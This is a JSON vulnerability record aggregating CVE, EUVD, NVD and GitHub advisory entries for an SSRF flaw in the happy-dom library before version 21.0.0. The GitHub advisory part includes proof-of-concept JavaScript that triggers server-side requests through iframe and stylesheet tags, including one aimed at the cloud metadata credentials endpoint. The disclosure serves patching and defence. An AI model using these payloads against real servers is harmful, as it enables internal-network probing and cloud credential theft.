{"id":"CVE-2026-118660","revision":null,"records":[{"revision":"a248594ac62942358655fdc2f29bc76a","observedAt":"2026-10-29T19:28:49.708+00:00","statement":{"source":"cve-program","id":"CVE-2026-118660","aliases":[],"title":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","state":0,"publishedAt":"2026-10-28T20:23:10.122+00:00","modifiedAt":"2026-10-29T17:23:32.163+00:00","affected":[{"ecosystem":"Vendor product","name":"happy-dom","ranges":[],"versions":[],"rawVersionEvidence":"{\n                    \"vendor\": \"capricorn86\",\n                    \"product\": \"happy-dom\",\n                    \"versions\": [\n                        {\n                            \"version\": \"< 21.0.0\",\n                            \"status\": \"affected\"\n                        }\n                    ]\n                }"}],"metrics":[{"system":"CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"severity":"HIGH"}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8","https://github.com/capricorn86/happy-dom/pull/2502","https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74","https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"],"sourceUrl":"https://www.cve.org/CVERecord?id=CVE-2026-118660","license":"CVE Program Terms of Use","key":"cve-program:CVE-2026-118660","identifiers":["CVE-2026-118660"]},"retained":false,"historicalAffected":[]},{"revision":"ebf4ac897ae54b1cbd65a3ed171ceaba","observedAt":"2026-11-06T00:45:17.373+00:00","statement":{"source":"euvd","id":"EUVD-2026-112467","aliases":["CVE-2026-118660","GHSA-c8p4-j97h-3vg8"],"title":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server becau…","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","state":0,"publishedAt":null,"modifiedAt":null,"affected":[],"metrics":[{"system":"EUVD CVSS 3.1","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"severity":null}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8","https://github.com/capricorn86/happy-dom/pull/2502","https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74","https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"],"sourceUrl":"https://euvd.enisa.europa.eu/vulnerability/EUVD-2026-112467","license":"ENISA EUVD · source terms and attribution apply","enrichment":{"sourceStatus":null,"weaknesses":[],"productCriteria":[],"sourceDates":{"datePublished":"Oct 28, 2026, 8:23:10 PM","dateUpdated":"Oct 29, 2026, 5:23:32 PM"},"relatedAdvisories":[],"note":"EUVD source date text has no stated timezone and is retained without inventing a UTC instant. Related bulletin membership is not an alias, common cause or applicability claim. A missing vector with a zero score is treated as unrated. Complete vendor/product and underlying source evidence remains in the original JSON."},"key":"euvd:EUVD-2026-112467","identifiers":["EUVD-2026-112467","CVE-2026-118660","GHSA-c8p4-j97h-3vg8"]},"retained":false,"historicalAffected":[]},{"revision":"16a2cc7d8b984fa1bb8fb781fb106db1","observedAt":"2026-10-30T22:45:44.312+00:00","statement":{"source":"nvd","id":"CVE-2026-118660","aliases":[],"title":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server becau…","description":"Happy DOM is a JavaScript implementation of a web browser without its graphical user interface. Prior to 21.0.0, Happy DOM loads iframe src URLs and link rel=\"stylesheet\" href URLs by default while parsing untrusted HTML on the server because disableIframePageLoading and disableCSSFileLoading default to false. An attacker who controls parsed HTML can therefore cause server-side requests to arbitrary internal or cloud endpoints without an application opt-in and may expose confidential responses or credentials returned by those endpoints. This issue is fixed in version 21.0.0.","state":0,"publishedAt":"2026-10-28T21:16:56.123+00:00","modifiedAt":"2026-10-29T18:17:27.943+00:00","affected":[],"metrics":[{"system":"CVSS 3.1 · security-advisories@github.com · Secondary","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":8.6,"severity":"HIGH"}],"references":["https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74","https://github.com/capricorn86/happy-dom/pull/2502","https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0","https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8"],"sourceUrl":"https://nvd.nist.gov/vuln/detail/CVE-2026-118660","license":"NIST NVD usage terms; underlying source attribution retained","enrichment":{"sourceStatus":"Awaiting Analysis","weaknesses":["CWE-918"],"productCriteria":[],"sourceDates":{"published":"2026-10-28T21:16:56.123","lastModified":"2026-10-29T18:17:27.943"},"relatedAdvisories":[],"note":"NVD analysis and CPE criteria are source context, not proof that a package or your environment is affected. Complete affected data, logical configurations and SSVC are retained in the original JSON."},"key":"nvd:CVE-2026-118660","identifiers":["CVE-2026-118660"]},"retained":false,"historicalAffected":[]},{"revision":"c42266a9ba214914a4d165a722ceeeea","observedAt":"2026-10-28T21:55:29.474+00:00","statement":{"source":"osv","id":"GHSA-c8p4-j97h-3vg8","aliases":["CVE-2026-118660"],"title":"Happy DOM: SSRF via iframe and link stylesheet when parsing untrusted HTML","description":"## Summary\nhappy-dom v20.8.9 makes real server-side HTTP requests to arbitrary URLs when parsing HTML containing `<iframe>` or `<link rel=\"stylesheet\">` elements. This behavior is enabled by default (`disableIframePageLoading: false`, `disableCSSFileLoading: false`). When an application uses happy-dom to parse untrusted HTML on the server side, an attacker can trigger Server-Side Request Forgery by embedding these elements.\n\n## Affected Versions\n- happy-dom <= 20.8.9 (latest)\n\n## Vulnerable Behavior\n\nBy default, happy-dom has:\n- `disableIframePageLoading: false` — iframes fetch their `src` URL via real HTTP requests\n- `disableCSSFileLoading: false` — `<link>` stylesheets fetch their `href` URL via real HTTP requests\n\nWhen untrusted HTML is parsed, these elements trigger real server-side HTTP requests to whatever URLs are specified. No special configuration or opt-in is needed.\n\n## Proof of Concept\n\n### Verified test (attacker server receives requests):\n```javascript\nconst http = require('http');\nconst { Window } = require('happy-dom');\n\n// Start attacker server\nconst srv = http.createServer((req, res) => {\n    console.log(`SSRF HIT: ${req.method} ${req.url}`);\n    res.writeHead(200, {'Content-Type': 'text/html'});\n    res.end('<html><body>stolen</body></html>');\n});\n\nsrv.listen(9995, () => {\n    // iframe SSRF — happy-dom makes a real GET request\n    const win1 = new Window({ url: 'http://localhost' });\n    win1.document.write('<html><body><iframe src=\"http://127.0.0.1:9995/iframe-ssrf\"></iframe></body></html>');\n\n    // stylesheet SSRF — happy-dom makes a real GET request\n    const win2 = new Window({ url: 'http://localhost' });\n    win2.document.write('<html><head><link rel=\"stylesheet\" href=\"http://127.0.0.1:9995/stylesheet-ssrf\"></head><body></body></html>');\n});\n```\n\n**Test output:**\n```\nSSRF HIT: GET /iframe-ssrf\nSSRF HIT: GET /stylesheet-ssrf\n```\n\nBoth requests confirmed received by the attacker server. Tested on happy-dom v20.8.9, Node.js v22.17.0, macOS.\n\n### Cloud metadata attack scenario:\n```javascript\nconst { Window } = require('happy-dom');\nconst win = new Window({ url: 'http://localhost' });\n\n// Attacker-controlled HTML triggers fetch to AWS metadata endpoint\nwin.document.write('<html><body><iframe src=\"http://169.254.169.254/latest/meta-data/iam/security-credentials/\"></iframe></body></html>');\n```\n\n## Impact\n- **Cloud credential theft** — `<iframe src=\"http://169.254.169.254/...\">` fetches AWS/GCP/Azure metadata\n- **Internal network scanning** — probe internal services and ports\n- **Data exfiltration** — read responses from internal APIs\n- **Affects any server-side use case** — web scraping, email HTML rendering, SSR, testing with external HTML input\n\n## Suggested Fix\nChange defaults to disable external resource loading:\n```javascript\ndisableIframePageLoading: true,  // change from false\ndisableCSSFileLoading: true,     // change from false\n```\n\nOr add URL validation to block private IP ranges and cloud metadata endpoints before fetching.","state":0,"publishedAt":"2026-10-28T21:06:42+00:00","modifiedAt":"2026-10-28T21:15:05.9756383+00:00","affected":[{"ecosystem":"npm","name":"happy-dom","ranges":[{"type":"SEMVER","events":[{"kind":"introduced","version":"0"},{"kind":"fixed","version":"21.0.0"}]}],"versions":[],"rawVersionEvidence":null}],"metrics":[{"system":"CVSS_V3","vector":"CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:N/A:N","score":null,"severity":null},{"system":"Publisher rating","vector":null,"score":null,"severity":"HIGH"}],"references":["https://github.com/capricorn86/happy-dom/security/advisories/GHSA-c8p4-j97h-3vg8","https://github.com/capricorn86/happy-dom/pull/2502","https://github.com/capricorn86/happy-dom/commit/0a99c7525a1d0043e3182843ae33466ab7b19e74","https://github.com/capricorn86/happy-dom","https://github.com/capricorn86/happy-dom/releases/tag/v21.0.0"],"sourceUrl":"https://github.com/advisories/GHSA-c8p4-j97h-3vg8","license":"GitHub Advisory Database · CC-BY-4.0","key":"osv:GHSA-c8p4-j97h-3vg8","identifiers":["GHSA-c8p4-j97h-3vg8","CVE-2026-118660"]},"retained":false,"historicalAffected":[]}],"coverage":[{"source":"cisa-kev:global","scope":"Complete CISA KEV catalog; all vendors. Missing entries do not establish absence of exploitation.","generation":"2026-11-07T04:26:54.6034598+00:00","complete":true,"records":1769,"lastAttemptAt":"2026-11-07T04:26:54.6034598+00:00","lastSuccessAt":"2026-11-07T04:26:54.7529863+00:00","error":null,"lastVerifiedAt":"2026-11-07T04:26:54.7529874+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"cve-program","scope":"Official CVE Program baseline and cumulative hourly delta; all vendors, published and rejected records","generation":"cve-bb5c9d5a08063ef076042e33dd72a7d0ffa4c4487efdcf3106e29ba55ec2ad57-f2cb380904b5f12493f409ae3c6d6c9a507fe9d31e15cd21f0d0b573e613fef1","complete":true,"records":420500,"lastAttemptAt":"2026-11-07T04:26:54.1988994+00:00","lastSuccessAt":"2026-11-07T03:26:58.5714293+00:00","error":null,"lastVerifiedAt":"2026-11-07T04:26:54.1988994+00:00","snapshotPublishedAt":"2026-11-07T03:24:26+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"euvd","scope":"Rolling EUVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global EUVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-715c0f3771e44acaadcabfd22fd19b53","complete":true,"records":13630,"lastAttemptAt":"2026-11-07T04:38:26.5467121+00:00","lastSuccessAt":"2026-11-07T04:38:26.542+00:00","error":null,"lastVerifiedAt":"2026-11-07T04:38:26.542+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"first-epss:nuget","scope":"FIRST EPSS for explicit CVE aliases in the collected public NuGet archive. Not a global EPSS backfill.","generation":"2026-11-07T04:26:54.6034598+00:00","complete":true,"records":1096,"lastAttemptAt":"2026-11-07T04:26:54.6034598+00:00","lastSuccessAt":"2026-11-07T04:26:54.7537548+00:00","error":null,"lastVerifiedAt":"2026-11-07T04:26:54.7537551+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"nvd","scope":"Rolling NVD lookups of CVE aliases in current public OSV archives; 500 identifiers per refresh, rechecked after 48 hours. Not a global NVD catalog. Successful not-found lookups count as checked; they do not imply withdrawal or safety. No reader inventory is sent.","generation":"enrichment-34343b4ea57e47c5a482c8fcf20a381e","complete":true,"records":13645,"lastAttemptAt":"2026-11-07T04:26:55.2642231+00:00","lastSuccessAt":"2026-11-07T01:26:55.938+00:00","error":null,"lastVerifiedAt":"2026-11-07T01:26:55.938+00:00","snapshotPublishedAt":null,"importing":false,"stagedRecords":0,"checkedIdentifiers":13685,"expectedIdentifiers":13685,"failedIdentifiers":0},{"source":"osv:Go","scope":"Complete OSV Go ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"go-0eb4d6dde62dffacd040ad992d4fd5a65cd7d0dc5f5f4cfa8b41967fc6f9ca5f","complete":true,"records":9914,"lastAttemptAt":"2026-11-07T04:26:54.5521252+00:00","lastSuccessAt":"2026-11-06T20:10:36.6450506+00:00","error":null,"lastVerifiedAt":"2026-11-07T04:26:54.5521252+00:00","snapshotPublishedAt":"2026-11-06T20:02:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:NuGet","scope":"Complete OSV NuGet ecosystem archive, including GitHub Advisory Database records; NuGet version matching only","generation":"nuget-fde804134ecdda0ddd5ff5c26ee1fff5a6fa659311f7ef2e51c6ad54964db0e2","complete":true,"records":1971,"lastAttemptAt":"2026-11-07T04:26:54.3450753+00:00","lastSuccessAt":"2026-11-06T19:03:17.0399903+00:00","error":null,"lastVerifiedAt":"2026-11-07T04:26:54.3450753+00:00","snapshotPublishedAt":"2026-11-06T18:17:57+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:crates.io","scope":"Complete OSV crates.io ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"crates.io-335633e78a15c9cde10a6025895b5617717087fb945489ae7e15d377bacf34a9","complete":true,"records":3055,"lastAttemptAt":"2026-11-07T04:26:54.565066+00:00","lastSuccessAt":"2026-11-06T16:03:00.7615789+00:00","error":null,"lastVerifiedAt":"2026-11-07T04:26:54.565066+00:00","snapshotPublishedAt":"2026-11-06T16:02:48+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null},{"source":"osv:npm","scope":"Complete OSV npm ecosystem archive, including withdrawn and malicious-package source records; statement counts are not unique CVE counts","generation":"npm-a0b728bc1c5526b5429930c00621636eba8655069c176697c3080f8377619ad7","complete":true,"records":231291,"lastAttemptAt":"2026-11-07T04:26:54.4507985+00:00","lastSuccessAt":"2026-11-07T00:28:51.1983528+00:00","error":null,"lastVerifiedAt":"2026-11-07T04:26:54.4507985+00:00","snapshotPublishedAt":"2026-11-06T23:33:08+00:00","importing":false,"stagedRecords":0,"checkedIdentifiers":null,"expectedIdentifiers":null,"failedIdentifiers":null}]}